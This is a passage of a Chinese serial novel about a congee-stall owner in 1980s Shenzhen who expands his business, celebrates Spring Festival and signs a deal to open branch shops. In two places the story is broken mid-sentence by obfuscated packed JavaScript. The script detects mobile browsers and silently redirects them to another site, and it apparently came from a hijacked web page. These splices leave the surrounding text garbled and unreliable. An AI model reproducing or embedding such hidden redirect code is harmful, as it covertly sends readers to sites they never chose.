两百。陈永福倒吸一口凉气。他现在月租一百二，已经觉得吃力。两百，得卖多少碗粥？ “考虑考虑。”何老板说，“机会不等人。” 陈永福真考虑了。连着三天，他都在算账。现在档口每天卖一百碗左右，加上外卖，一天能卖一百五十碗。收入三十块，成本十五块，净赚十五块。一个月四百五。扣掉租金一百二，人工一百（黄秀英三十，小张二十五，周淑芬二十，他自己不算），水电管理费五十，剩一百八。 如果扩到二十平米，月租两百，人工可能还要加，成本更高。至少要每天卖两百五十碗，才能维持现在的利润。 两百五十碗，可能吗？ 他观察了美食区其他档口。生意最好的烧腊档，一天能卖三百份饭。其次是麻辣烫，一天两百多份。粥铺要想卖到两百五十碗，除非有特别大的突破。 但突破在哪？ 一天晚上，小张送餐回来，说：“老板，今天送餐时，有个客人问，有没有海鲜粥。” “海鲜粥？” “嗯，他说在广东喝过海鲜粥，里面有虾，有蟹，很好喝。问我们能不能做。” 陈永福没做过海鲜粥。潮汕粥以清淡为主，海鲜粥是广州那边的做法。但他觉得可以试试。 第二天，他去市场买了些虾和螃蟹。虾是基围虾，活蹦乱跳的，一斤两块五。螃蟹是花蟹，便宜些，一斤一块八。 回到档口，他试着做。先熬白粥底，等粥熬到七分熟，放入处理好的虾和蟹块，加姜丝，煮到虾变红，蟹壳变橙。最后撒葱花，点几滴香油。 第一锅出来，他自己尝了一口。鲜，真鲜。虾的甜，蟹的鲜，都融进粥里了。但成本也高，一碗海鲜粥，光海鲜成本就要三毛，卖五毛一碗才有点赚头。 五毛，在美食区算高价了。一份烧鹅饭才六毛。 他犹豫要不要推。周淑芬尝了一口，说：“好喝，值五毛。” 林玉兰也尝了：“是好，但怕没人买。” “先试试。”陈永福决定，“熬一小锅，看看反应。” 他熬了十碗的量，在档口前摆了块牌子：“新品海鲜粥，试卖价四毛五。” 中午，一个穿西装的男人在牌子前停下。他看看牌子，又看看锅里的粥。 “海鲜粥？正宗的？” “您尝尝。”陈永福盛了一小碗给他。 男人尝了一口，眼睛亮了：“不错，鲜。来一碗。” 他端着粥坐在大堂里，慢慢喝。喝完，又过来：“老板，再打包两碗，我带回去给同事尝尝。” 三碗海鲜粥，卖了一块三毛五。成本七毛五，净赚六毛。 下午，那男人的同事来了，也要海鲜粥。十碗海鲜粥很快卖完。 陈永福心里有底了。海鲜粥可以做，但只能限量，每天二十碗，卖完即止。这样既能控制成本，又能制造稀缺感。 果然，海鲜粥成了粥铺的招牌。每天中午一开卖，很快就抢完。有人甚至提前预订，怕买不到。 生意慢慢好起来。档口每天能卖一百五十碗左右，加上外卖，能到两百碗。虽然还没到两百五十碗的目标，但已经在增长。 月底算账，这个月净赚两百一十块。比上个月多了三十块。 陈永福拿着钱，想了很久。扩不扩？ 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17380740|200163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他去找何老板。 “何老板，隔壁那家，还在吗？” “在，还没转出去。”何老板说，“怎么，想通了？” “租金能少点吗？” “我问过了，最低一百八。” 一百八。陈永福在心里算。如果扩了，人工加一个，算三十。水电管理费加二十。总成本每月增加一百一。每天要多卖五十碗，才能持平。 “我能不能先租半年？如果生意不好，就不续了。” “可以，我跟房东说说。” 谈了两天，定下来了。隔壁二十平米，月租一百八，租期半年。押二付一，一次要交五百四。 陈永福从存款里拿出钱，手有点抖。五百四，是他半年多的积蓄。但他想赌一把。 签合同那天，何老板拍拍他的肩：“陈老板，有魄力。我看好你。” 扩店装修又花了三百。打通了两个档口，操作台扩大了一倍，多了两个灶眼。桌椅也添了，现在能坐二十个人。 开业那天，陈永福站在新档口里，看着宽敞的空间，心里既兴奋又紧张。 林玉兰摸摸新的不锈钢台面，轻声说：“真亮。” “嗯，亮。” “就是有点不像我们的地方。” 陈永福明白她的意思。这里太新，太干净，少了老街那种烟火气。但他想，时间久了，烟火气会有的。 新档口开业，生意确实好了些。空间大了，客人愿意坐下来吃。海鲜粥依然畅销，每天三十碗都不够卖。 但问题也来了。人手不够。 十五平米时，四个人勉强够用。现在三十五平米，要兼顾堂食和外卖，四个人忙得脚不沾地。特别是中午高峰期，档口前排起队，外卖电话响个不停。 陈永福不得不考虑再招人。但人工成本压在那里，再加人，利润就更薄了。 一天中午，周淑芬接了个电话，是写字楼的大单：一家公司开年会，要订一百碗海鲜粥，下午三点送到。 一百碗！陈永福既高兴又发愁。高兴的是大单，愁的是人手。一百碗海鲜粥，光虾就要十斤，螃蟹要八斤。要洗要剥要煮，还要保温送餐。 “接吗？”周淑芬问。 “接！”陈永福咬咬牙，“多少钱一碗？” “对方说五毛一碗，包括送餐费。” 五毛，比平时少五分。但量大，还是赚。 整个档口忙起来了。陈永福负责熬粥，林玉兰和周淑芬处理海鲜，黄秀英和小张准备打包盒。从中午十二点忙到下午两点，才把一百碗粥熬好，装进保温箱。 两点半，黄秀英和小张推着借来的手推车去送餐。三点准时送到，对方很满意，当场结账。 五十块钱到手。除去成本二十五块，净赚二十五。相当于平时两天的利润。 陈永福擦擦汗，看着空了的锅，心里却充实。大单虽然累，但值得。 从那天起，他开始主动联系写字楼、公司，接团体订单。虽然不常有，但一个月接两三单，也能增加不少收入。 生意上了轨道。新档口开业一个月，平均每天能卖两百三十碗，加上外卖和团体订单，月收入突破了一千块。扣除所有成本，净赚三百。 三百块，在1984年的深圳，算是高收入了。一个国营工厂的厂长，月薪也不过两百。 陈永福拿着钱，第一次觉得，来深圳闯，闯对了。 但他不敢松懈。租金、人工、成本，像三座山，压着他。他必须每天早起，每天熬粥，每天算计。 一天晚上打烊后，他一个人在档口对账。算盘珠子拨得噼啪响，数字一个个跳出来。收入，支出，利润。利润薄，但稳。 灯光下，他忽然想起老街的老榕树。这时候，树下应该很安静吧。也许有野猫经过，也许有晚归的人坐在树下歇脚。 他想回去看看。 第二天下午，他抽空去了老街。 老街已经拆了一半。王师傅的修车铺没了，老李的杂货铺没了，卖水果阿婆的推车也没了。只有老榕树还在，孤零零地立在废墟中间。 树下堆着建筑垃圾，碎砖头，破木板。树上贴了张纸，写着“待移栽”。 陈永福站在树下，仰头看。树叶还是绿的，但蒙了层灰。树干上他钉的钉子还在，挂招牌的那个位置，有个明显的印子。 他伸手摸摸树干。树皮粗糙，像老人的手。 “陈老板？” 身后有人叫他。是老唐。 “老唐，你还在这儿？” “没搬远，在附近租了个房。”老唐走过来，也抬头看树，“这树要移走了，听说要移到公园去。” “移走也好，总比砍了好。” 两人在树下站了一会儿。废墟里很安静，只有风吹过的声音。 “新地方怎么样？”老唐问。 “还行，就是不像这里。” “正常。新地方要住久了，才有感情。”老唐掏出烟，递给他一支，“我那个厂也要拆了，我也要挪窝了。” “去哪？” “不知道，可能回惠州找儿子。”老唐点上烟，“老了，折腾不动了。” 陈永福看着老唐。半年多前，老唐还是个精神矍铄的老人，现在背有点驼了，头发也白了大半。 “老唐，有空来新地方喝粥，我请你。” “一定去。”老唐吐了口烟，“陈老板，好好干。深圳是年轻人的天下，但也要有我们这些老人，才能撑起来。” 这话让陈永福心里一暖。是啊，不只是年轻人在闯，老人也在适应，在坚持。 离开老街时，他回头看了一眼。老榕树在夕阳下拖着长长的影子，影子盖在废墟上，像在告别。 回到商场，美食区正是晚饭时间。各家档口灯火通明，人声鼎沸。烧腊档前排着队，麻辣烫的香味飘过来，奶茶店放着港台流行歌。 他的粥铺里，客人坐了一半。林玉兰在盛粥，黄秀英在收钱，周淑芬在招呼客人，小张在打包外卖。一切井然有序。 陈永福走进档口，系上围裙。林玉兰看见他，问：“去哪了？” “回了趟老街。” “树还在吗？” “在，要移走了。” 林玉兰没说话，低头继续盛粥。 一个客人过来：“老板，来碗海鲜粥。” “好嘞。” 陈永福接过碗，盛粥。粥还是那个粥，米还是那个米，水还是那个水。但地方变了，客人变了，连盛粥的碗都变了。 不变的是手艺，是味道，是熬粥时的那份心。 他把粥递给客人：“小心烫。” 客人接过，坐在窗边的位置。窗外是深圳的夜景，高楼林立，灯火璀璨。远处工地的塔吊亮着灯，像星星挂在天上。 陈永福站在档口里，看着这一切。新地方，新开始。难，但值得。 他拿起长勺，搅了搅锅里的粥。粥咕嘟咕嘟地冒着泡，热气蒸腾，米香弥漫。 这香味，会飘出档口，飘出商场，飘进这座城市的夜里。像老街的炊烟一样，淡淡的，却执着地存在着。 他知道，他的根，已经在这里扎下了。虽然还不够深，但已经在土里了。 明天，太阳升起时，他还会在这里。熬粥，盛粥，送粥。日复一日，年复一年。 这就是他的深圳，他的生活，他的路。 7. 潮声 腊月里，深圳的天气说冷不冷，说热不热。早晨骑自行车去商场，风刮在脸上像薄刀片，但到了中午，太阳一晒，又得把外套脱了。 陈永福的粥铺已经在新商场里扎了三个月根。生意稳了，每天能卖两百多碗，加上外卖和团体订单，一个月能赚三百多块。钱是多了，但人也更累了。 三十五平米的档口，五个人在里面转，还是觉得不够用。海鲜粥每天限卖三十碗，但总有人买不到，提意见。陈永福想增加供应，可虾和螃蟹的价格一天一个样，贵的时候成本都压不住。 “老板，今天虾又涨了，三块二一斤。”小张从市场回来，把塑料袋放在操作台上。 陈永福看了看，虾是活的，蹦跳着。“昨天不是才两块八？” “摊主说快过年了，什么都涨。” 过年。陈永福这才想起来，再有二十几天就是春节了。来深圳快一年，时间过得真快。 “螃蟹呢？” “两块二，也涨了。” 陈永福在心里算账。一碗海鲜粥，虾蟹成本要四毛，卖五毛，只赚一毛。加上米、煤、人工，几乎不赚钱。 “老板，要不海鲜粥也涨涨价？”黄秀英小声说。 “涨多少？” “涨到五毛五。” 五毛五。陈永福犹豫。一碗粥五毛五，在美食区算天价了。隔壁烧腊饭才六毛，有肉有菜有饭。 “先不涨。”他决定，“还是卖五毛，但每天只卖二十碗。物以稀为贵。” 下午，何老板晃悠过来，递了支烟：“陈老板，生意不错啊。” “马马虎虎。”陈永福接过烟，“何老板有事？” “没事，闲聊。”何老板靠在玻璃墙上，“过年回老家吗？” “还没定。你呢？” “我？我不回。”何老板吐了口烟，“香港那边有亲戚来，得招待。再说春节生意好，舍不得关门。” 陈永福这才想起，何老板是香港人。虽然说话做事和内地人没什么两样，但终究是香港人。听说香港人过年讲究多，要派利是，要吃盆菜。 “陈老板要是过年不关门，咱们可以搞个联合促销。”何老板说，“买烧腊饭送粥，买粥送烧腊，互相带动生意。” “怎么个送法？” “比如买一份烧鹅饭，送一碗白粥。买两碗海鲜粥，送半只烧鹅。”何老板说得眉飞色舞，“双赢。” 陈永福想了想，觉得可行。烧腊档生意好，粥铺能沾光。 “行，试试。” “那就这么说定了。”何老板拍拍他的肩，“腊月二十五开始，搞到正月十五。” 何老板走后，周淑芬走过来：“陈老板，我有点事想跟你商量。” “周老师你说。” “我想春节后就不来了。”周淑芬有些不好意思，“学校那边让我下学期带班，时间排满了。” 陈永福一愣。周淑芬在粥铺干了三个月，勤快，会招呼客人，有她在档口轻松不少。虽然知道她迟早要走，但真到这时候，还是舍不得。 “恭喜周老师。”他真心实意地说，“教书好，稳定。” “谢谢你这几个月的照顾。”周淑芬眼圈有点红，“要不是你们，我和小军还不知道怎么熬过来。” “互相帮助，应该的。” “那我做到腊月二十五，行吗？” “行，工资我给你结到那天，再加二十块奖金。” “不用奖金……” “要的，你帮了大忙。” 周淑芬走了，档口少个人手。陈永福琢磨着再招一个。快过年了，不好招人。来深圳打工的，都等着拿年终奖回家过年，没人愿意这时候换工作。 正发愁，李红梅来了。 就是半年前那个四川姑娘，在宝安制衣厂做工。她这次不是一个人，还带了个年轻男人，个子不高，黑黑的，有些拘谨。 “陈老板，老板娘！”李红梅老远就喊，脸上带着笑。 林玉兰迎出来：“红梅！你怎么来了？” “来看你们。”李红梅把手里的袋子递过来，“厂里发的年货，我带了些。” 袋子里有几包腊肠，几袋糖果。林玉兰接过来，拉着李红梅的手：“长胖了，脸色也好。” “厂里伙食不错。”李红梅指指身边的男人，“这是我对象，叫王建军，也是我们厂的。” 王建军点点头，没说话。 “快进来坐。”陈永福招呼。 李红梅看看档口，眼睛睁大了：“陈老板，生意做大了！这么大的地方。” “刚搬来没多久。” 李红梅在档口里转了一圈，摸摸不锈钢台面，看看墙上的菜单：“真好，真干净。” 中午，陈永福留他们吃饭。李红梅帮忙招呼客人，手脚还是那么麻利。王建军不太说话，但眼里有活，看见地上有纸屑就扫，看见桌子脏了就擦。 吃完饭，李红梅说：“陈老板，你们还招人吗？” “招，周老师春节后不来了。” “那……”李红梅看看王建军，“建军想在深圳找个工作，不打算回老家了。他踏实，肯干，你要不要看看？” 陈永福看看王建军。小伙子二十出头，眼神老实，手指粗壮，一看就是干活的料。 “会做饭吗？” “会，我在老家帮厨过。”王建军终于开口，四川口音很重。 “那行，你试试。”陈永福说，“先做一个月，工资二十五，包吃住。做得好再加。” 王建军眼睛亮了：“谢谢陈老板！” “红梅呢？还在制衣厂？” “在，做得挺好的，班长说年后让我带小组。”李红梅说，“就是离得远，不能常来看你们。” “好好干，有前途。” 下午，李红梅和王建军走了，说明天就来上班。林玉兰收拾碗筷时，轻声说：“红梅这姑娘，总算安定下来了。” “是啊。”陈永福想起半年前，那个蹲在路灯下哭的女孩。现在有了工作，有了对象，脸上有笑了。 这就是深圳。有人来，有人走，有人哭，有人笑。但只要不放弃，总能找到一条路。 腊月二十，商场里挂起了红灯笼，贴上了春联。音乐也换了，整天放《恭喜发财》《财神到》。年味一下子浓了。 陈永福第一次在深圳过年。老家过年讲究多，祭祖，拜神，走亲戚，吃年夜饭。在深圳，这些好像都简化了。商场只休三天，大年初三就开门。 林玉兰想回老家过年，但来回车费贵，时间也长。最后决定，就在深圳过。 “给家里多寄点钱，也是一样的。”她说。 陈永福去邮局寄了三百块。三百块，在老家能过个肥年。父母能买新衣服，弟弟能办像样的婚礼，妹妹能添置嫁妆。 汇款单上，他写了一句：儿在深圳一切安好，勿念。年后再寄钱。 走出邮局，他想起老家过年的场景。母亲在灶台前忙活，炸油角，蒸年糕，炖整鸡。父亲在院子里写春联，红纸铺在桌上，墨汁的味道。弟弟妹妹围着要压岁钱，虽然只有几毛，但高兴。 想着想着，鼻子有点酸。来深圳一年，没回过家。父母老了，自己不在身边，不知道他们好不好。 回到档口，何老板在等他。 “陈老板，有个事跟你商量。” “何老板请说。” “我香港有个亲戚，做餐饮连锁的。他来深圳考察，看到我们美食区，很有兴趣。”何老板压低声音，“他想投资，做大做强。” “投资？” “就是出钱，扩大规模，开分店。”何老板眼里放光，“他想先投两家，一家烧腊，一家粥铺。觉得我们两家生意好，有潜力。” 陈永福没听明白：“怎么个投法？” “他出钱，我们出技术和管理。股份他占六成，我们占四成。赚了钱按股份分。” 四成。陈永福在心里盘算。现在一个月赚三百，四成就是一百二。但如果生意做大，赚一千，四成就是四百。 “开分店，在哪开？” “他想在福田开一家，南山开一家。都是新开发区，人流量大。” “那这里呢？” “这里照常营业，作为总店。”何老板越说越兴奋，“陈老板，这是机会。单打独斗，一辈子就是个小档口。有人投资，才能做大。” 陈永福心动了。做大，开分店，赚大钱。这是每个生意人的梦想。 但他又担心。股份四成，控制权在香港人手里。万一做不好，万一赔了，怎么办？ “让我想想。” “尽快，我亲戚过完年就要回香港了。” 晚上，陈永福跟林玉兰商量这事。林玉兰听了，半天没说话。 “你觉得呢？”陈永福问。 “我不懂这些。”林玉兰轻声说，“我就知道，我们现在这样挺好。赚得不多，但踏实。要是跟人合伙，万一赔了……” “何老板说，投资的人有钱，赔了也不用我们承担。” “话是这么说，可万一呢？”林玉兰看着丈夫，“阿福，咱们来深圳一年，好不容易站稳了。我不求大富大贵，只求安稳。” 陈永福知道妻子说得对。但他心里那股火，又被何老板的话点燃了。做大，做强，开分店。这些词在他脑子里打转。 “我再想想。” 夜里，他睡不着。披衣起来，走到阳台上。租的房子在三楼，能看到商场的屋顶，能看到远处工地的塔吊。深圳的夜，依然灯火通明。 他点了支烟，慢慢抽着。烟是“大前门”，味道冲，但提神。 做大，还是求稳？这是个选择。 他想起老街的老榕树。树那么大，根扎得那么深，但从不移动。一年四季，就在那里，看人来人往，看云卷云舒。稳，但也不动。 他又想起国贸大厦工地。三天一层楼，每天都在长高，每天都在变化。快，但风险也大。 一支烟抽完，他还没想好。 第二天，何老板又来找他。 “陈老板，想得怎么样？” “何老板，我问个问题。”陈永福说，“你亲戚投资，是要赚快钱，还是做长久？” “当然是长久。餐饮行业，急不得。” “那管理谁说了算？” “日常经营我们说了算，大事商量着来。”何老板说，“我亲戚在香港有十家店，懂行。他会派人来指导，但不会干涉太多。” 陈永福沉默了一会儿：“何老板，我有个条件。” “你说。” “分店的粥，必须用总店的配方，用总店培训的人。”陈永福说，“味道不能变。” “这个自然。” “还有，总店这边，我要有完全的控制权。分店那边，我可以派人去管，但不能把我的档口抽空。” “没问题。”何老板笑了，“陈老板考虑周到。这么说，你同意了？” “我同意试试。”陈永福说，“但要签合同，白纸黑字写清楚。” “那是当然。” 谈妥了大致框架，具体细节要等过完年，何老板的亲戚从香港过来再谈。 腊月二十五，促销开始了。 烧腊档和粥铺的档口前都贴了海报：“喜迎新春，买一送一”。买烧鹅饭送白粥，买海鲜粥送叉烧。客人们觉得划算，两家档口的生意都翻了一番。 陈永福忙得脚不沾地。王建军来了之后，档口多个人手，但还是忙。海鲜粥每天五十碗都不够卖，白粥肉粥也卖得快。 黄秀英和小张送外卖送到腿软。写字楼大多放假了，但附近小区的外卖订单多了起来。都是在家过年，不想做饭的。 腊月二十八，商场提前关门。各家档口忙着盘点，收拾，准备过年。 陈永福给员工发年终奖。黄秀英五十块，小张三十块，王建军刚来，也给了十块。周淑芬虽然不做了，但陈永福还是包了个红包，二十块。 “谢谢老板！”黄秀英接过钱，眼睛笑成月牙。 “一年辛苦了。”陈永福说，“春节三天假，你们有什么打算？” 黄秀英说要跟几个老乡聚聚，小张说要去看电影，王建军说就在宿舍休息。 “好好玩，初四早上准时开工。” 晚上，陈永福一家三口回到家。林玉兰做了几个菜，有鱼有肉，算是年夜饭。 没有老家那么丰盛，但也是三个菜一个汤。鱼是清蒸鲈鱼，肉是红烧肉，菜是蒜蓉青菜，汤是排骨萝卜汤。 □□看着桌上的菜，说：“阿妈，没有年糕。” “明天买。”林玉兰摸摸儿子的头，“深圳过年简单，以后习惯了就好。” 吃完饭，陈永福打开电视。新买的十四寸黑白电视，花了三百块。能收到两个台，一个中央台，一个广东台。 中央台正在播春节联欢晚会。相声，小品，唱歌，热热闹闹的。□□看得入迷，咯咯笑。 林玉兰在包饺子。猪肉白菜馅，一个个包得精致。 “阿福，你说，我们明年会怎么样？” “会更好。”陈永福说，“何老板那个投资要是成了，能开分店。” “你就那么信何老板？” “信不信，试试才知道。”陈永福看着电视里载歌载舞的画面，“深圳不就是这样吗？敢闯敢试。” 林玉兰没再说话，专心包饺子。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17380741|200163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>窗外，远处传来鞭炮声。噼里啪啦，一阵一阵的。深圳禁放鞭炮，但总有人偷偷放。 陈永福走到阳台上，看着夜空。深圳的夜空不是全黑的，总有一片被工地的灯光照亮。星星看不见，但能看到高楼轮廓，像黑色的剪影。 他想起了老家过年的夜空。那里能看到银河，看到北斗七星。除夕夜，全村一起放鞭炮，硝烟味能飘一夜。 一年了。他从一个农民，变成一个小老板。从一无所有，到有了档口，有了存款，有了方向。 不容易，但值得。 大年初一，他们去了仙湖植物园。听说那里有庙会，热闹。 果然人多。舞狮的，卖糖人的，写春联的，挤挤攘攘。□□要了个糖人，是孙悟空的形状，举着舍不得吃。 在庙里，林玉兰烧了香，许了愿。陈永福问她许了什么，她不说。 “说出来就不灵了。” “那我猜猜。”陈永福说，“是不是愿全家平安，生意兴隆？” 林玉英笑了：“差不多。” 从植物园出来，他们在路边吃了碗云吞面。初一的深圳，街上人少，车也少。很多店关门了，回老家过年了。 “深圳是座移民城市。”陈永福忽然说，“过年的时候最明显。” “是啊，人都走了，空了。” “但明年，人还会回来。还会更多。” 初二，他们在家休息。林玉兰做了年糕，虽然不如老家的好吃，但有那个意思。 初三，商场开门。生意出奇的好。人们过年吃腻了大鱼大肉，想喝点清淡的。粥铺排起了队，海鲜粥半小时就卖完了。 陈永福忙得满头汗，但心里高兴。生意好，就有底气跟何老板的亲戚谈合作。 初五，何老板的亲戚来了。 是个五十多岁的男人，姓郑，郑文达。穿着灰色西装，戴金丝眼镜，说话慢条斯理。他先看了烧腊档，又来看粥铺。 “陈老板，久仰。”郑文达伸出手。 陈永福在围裙上擦擦手，才跟他握手：“郑先生，您好。” 郑文达在档口里转了一圈，仔细看了操作台、灶具、食材。又尝了海鲜粥、皮蛋粥、白粥。 “味道不错。”他放下碗，“何生跟我说了合作的事，我很有兴趣。” 三人到商场外的茶餐厅坐下谈。郑文达从公文包里拿出份合同草案，厚厚一沓。 “陈老板看看。” 陈永福接过来，翻了几页。很多术语看不懂，但大致意思明白：郑文达投资五万块，在福田和南山各开一家分店。股份他占百分之六十，陈永福和何老板各占百分之二十。经营由陈永福负责，郑文达派财务监管。 “郑先生，分店的厨师……” “从总店培训，或者陈老板派人过去。”郑文达说，“味道必须统一。” “那总店这边？” “总店还是陈老板全权负责，分店的利润，百分之二十归总店，作为技术和管理费。” 陈永福在心里算。如果分店一个月赚一千，总店能拿两百。加上总店自己的利润，能到五百。 五百块一个月，在1985年，是天文数字。 “合同期多长？” “五年。五年后，如果合作愉快，可以续签。”郑文达推推眼镜，“陈老板有什么问题，可以提。” 陈永福想了想：“郑先生，分店的选址，我要参与。” “当然。” “还有，分店的员工，要从深圳本地招，工资不能低于市场价。” 郑文达笑了：“陈老板仁义。没问题，这些都写进合同。” 谈了两个小时，大致框架定了。具体细节，郑文达的律师会来完善。 送走郑文达，何老板拍拍陈永福的肩：“陈老板，恭喜，我们要发达了。” 陈永福笑笑，心里却有些不安。五万块的投资，是机遇，也是压力。要是做不好，对不起郑先生，也对不起自己。 回到档口，他把这事跟林玉兰说了。林玉兰听了，没说话，只是低头擦桌子。 “你怎么想？”陈永福问。 “你想做就做吧。”林玉兰轻声说，“反正这个家，你说了算。” 这话让陈永福心里一沉。他知道妻子不赞成，但也不反对。这种态度，比直接反对更让人难受。 “玉兰，我是想……” “我知道。”林玉兰打断他，“你想做大，想出人头地。我不拦你，只希望你小心点，别摔跟头。” “我会小心的。” 正月十五，元宵节。商场搞活动，猜灯谜，送汤圆。粥铺也推出了汤圆粥，芝麻馅的汤圆，放在红豆粥里，甜糯糯的。 晚上打烊后，陈永福带着家人去老街看花灯。老街已经拆得差不多了，只剩老榕树那片还没动工。树下挂了几盏红灯笼，映得树影婆娑。 老唐也在，一个人坐在石凳上。 “老唐，过节好。” “陈老板来了。”老唐笑笑，“来看树？” “嗯，听说要移走了。” “快了，开春就移。”老唐看看树，“移走了也好，总比砍了好。” 三人在树下站了一会儿。灯笼在风里摇晃，光影晃动。 “陈老板，听说你要开分店了？”老唐问。 “您怎么知道？” “何老板说的。”老唐点支烟，“好事，年轻人就该闯。” “老唐，您说，我能做好吗？” 老唐看他一眼：“陈老板，我活了五十多年，明白一个道理：事在人为。你想做好，就能做好。你怕做不好，就可能真做不好。” 这话朴实，但有道理。 “谢谢老唐。” “不用谢我。”老唐摆摆手，“好好干，给咱们老街争口气。让那些香港老板看看，咱们内地人，也能做大事。” 回到家，□□已经睡着了。林玉兰在给孩子盖被子，动作很轻。 陈永福站在卧室门口，看着这一幕。妻子，孩子，家。这就是他奋斗的意义。 他走过去，轻轻抱住林玉兰。 “对不起，让你担心了。” 林玉兰靠在他肩上：“我没有怪你。只是怕你太累，太辛苦。” “不累，有你们在，不累。” 窗外，月亮很圆，很亮。正月十五的月亮，代表团圆。 陈永福看着月亮，心里定了。不管前路如何，他要走下去。为了家人，为了自己，也为了那些相信他的人。 深圳的夜，依然有灯光，有声音，有无数人像他一样，在为自己的梦想奋斗。 明天，太阳升起时，他还会站在灶台前，熬一锅粥，开始新的一天。 8. 分店 二月末的深圳，雨下得没完没了。毛毛雨，不大，但密，飘在空中像雾。路面总是湿的，踩上去黏糊糊的。商场里的空调坏了，关不掉，冷风呼呼地吹，和外面的湿冷里应外合，冻得人骨头缝都发寒。 陈永福感冒了。喉咙痛，说话声音哑，但还得站在灶台前熬粥。海鲜粥的蒸汽扑在脸上，倒是能让他舒服点。 郑文达派来的律师姓刘，戴金边眼镜，说话一板一眼。他带着修改后的合同来档口找陈永福，嫌里面吵，非要到外面的咖啡厅谈。 咖啡厅是商场新开的，一杯咖啡卖三块。陈永福第一次进来，觉得椅子太软，坐着不踏实。 “陈老板，合同我们根据上次谈的修改了。”刘律师从公文包里拿出文件，“你看一下，主要改动在第八条和第十二条。” 陈永福接过合同，厚厚一沓，密密麻麻的字。他看得慢，很多法律术语看不懂。 “刘律师，您给我讲讲吧。” 刘律师推推眼镜，一条条解释。大致意思是：投资总额五万，分两期到账。第一期两万五，用于南山分店开业。第二期两万五，等南山店运营三个月后再给，用于福田分店。 “为什么分两期？”陈永福问。 “郑先生谨慎，要看南山店的经营情况再决定是否追加投资。”刘律师说，“这也是对您负责，万一南山店不顺利，后面的投资可以调整。” 陈永福明白了。郑文达不是全信他，要试水。 “还有这里，”刘律师指着第十二条，“分店的财务管理由郑先生派会计负责，您要配合提供所有经营数据。” “这个上次说了，我同意。” “那就好。”刘律师拿出钢笔，“陈老板要是没问题，可以签字了。” 陈永福拿起笔，手有点出汗。他看向窗外，雨还在下，商场门口人来人往。何老板说过，签了字，就是另一条路了。 他深吸一口气，在合同上签下自己的名字。字写得不好看，但一笔一画，很用力。 “恭喜陈老板。”刘律师收起合同，“第一期资金三天内到账。选址的事，郑先生下周从香港过来，我们一起去看。” 陈永福点点头，没说话。喉咙疼得厉害。 回到档口，林玉兰正在跟一个客人解释为什么海鲜粥又卖完了。客人不满意，嘟囔着走了。 “签了？”林玉兰问。 “签了。” 林玉兰看他一眼，没再问，转身去收拾碗筷。锅里的粥快熬好了，咕嘟咕嘟响。 何老板下午过来，拍着他的肩说：“陈老板，从今天起，咱们是合作伙伴了。” “何老板多关照。” “互相关照。”何老板压低声音，“南山那边我熟，有几个不错的位置。等郑先生来了，我带你们去看。” 三天后，两万五到账了。是电汇，直接打到陈永福新开的银行账户里。他去银行取了一千块现金，厚厚一沓，揣在怀里都觉得烫。 第一件事是去交南山店半年的租金。看中的铺面在南新路上，三十平米，月租两百，一次交半年就是一千二。房东是个本地人，姓梁，五十多岁，说话时总爱剔牙。 “陈老板有眼光，这位置好，对面就是电子厂，工人多。”梁房东数着钱，“不过这边竞争也大，光这条街就有三家快餐店。” “我知道，试试看。” 交了租金，拿到钥匙。铺面是毛坯，水泥地，白灰墙，空荡荡的。陈永福站在里面，回音很大。他咳嗽一声，声音在屋里荡来荡去。 接下来是装修。何老板介绍了个施工队，包工包料，四千块。工期一个月。 “太贵了。”陈永福说。 “不贵了，现在人工材料都涨。”包工头老赵说，“你要便宜的，我也有便宜的队伍，但质量不敢保证。” 陈永福想了想，还是要了贵的。“质量要好，特别是灶台和排烟。” “放心，做过几十家餐馆了。” 签了装修合同，又去订设备。灶具、冰箱、桌椅、餐具，林林总总算下来，要三千多。钱像水一样流出去。 晚上对账，两万五还剩一万六。还有人工费、培训费、开业宣传费没算。陈永福头一次觉得，钱这么不经花。 郑文达周末从香港过来，先看了装修进度，还算满意。又去看了周边环境，电子厂确实大，中午下班时，工人像潮水一样涌出来。 “陈老板，你觉得这里一天能卖多少碗？”郑文达问。 “三百碗应该可以。” “三百碗，一碗平均两毛五，一天七十五，一个月两千二百五。扣掉成本租金人工，能赚多少？” 陈永福在心里算：“大概八百。” “八百，五个月回本。”郑文达点点头，“可以。” 但他又说：“不过这边工人多，口味可能跟罗湖不一样。你要调整菜单，多做实惠的，分量足的。” “明白。” 郑文达当天就回香港了，说开业时再来。陈永福送他去车站，回来时路过老街。拆迁已经完成，老榕树的位置空了，只留下一个大坑。坑里积了雨水，浑浊的，漂着几片叶子。 他站了一会儿，雨又开始下。没带伞，淋了一身。 南山店的装修紧锣密鼓地进行。陈永福每天罗湖南山两头跑，早上在商场档口忙完，中午坐公交车去南山看进度。公交车要转两趟，一趟四毛钱，来回八毛。一天八毛，一个月就是二十四块。他算着账，心疼。 林玉英说：“别省这点钱，身体要紧。” “没事，坐车还能歇会儿。” 其实歇不了。公交车上挤，站一路。有时候累得靠着栏杆都能睡着。 装修到一半，招工的问题来了。南山那边要两个厨师，三个服务员，一个收银。工资跟罗湖一样，厨师四十，服务员二十五，包吃住。但南山离罗湖远，很多人不愿意去。 贴了三天招工启事，只来了五个人面试。两个厨师都是新手，没做过粥。三个服务员里，有两个嫌工资低。 何老板说：“要不从罗湖调个人过去？” “罗湖人手也紧。”陈永福皱眉。 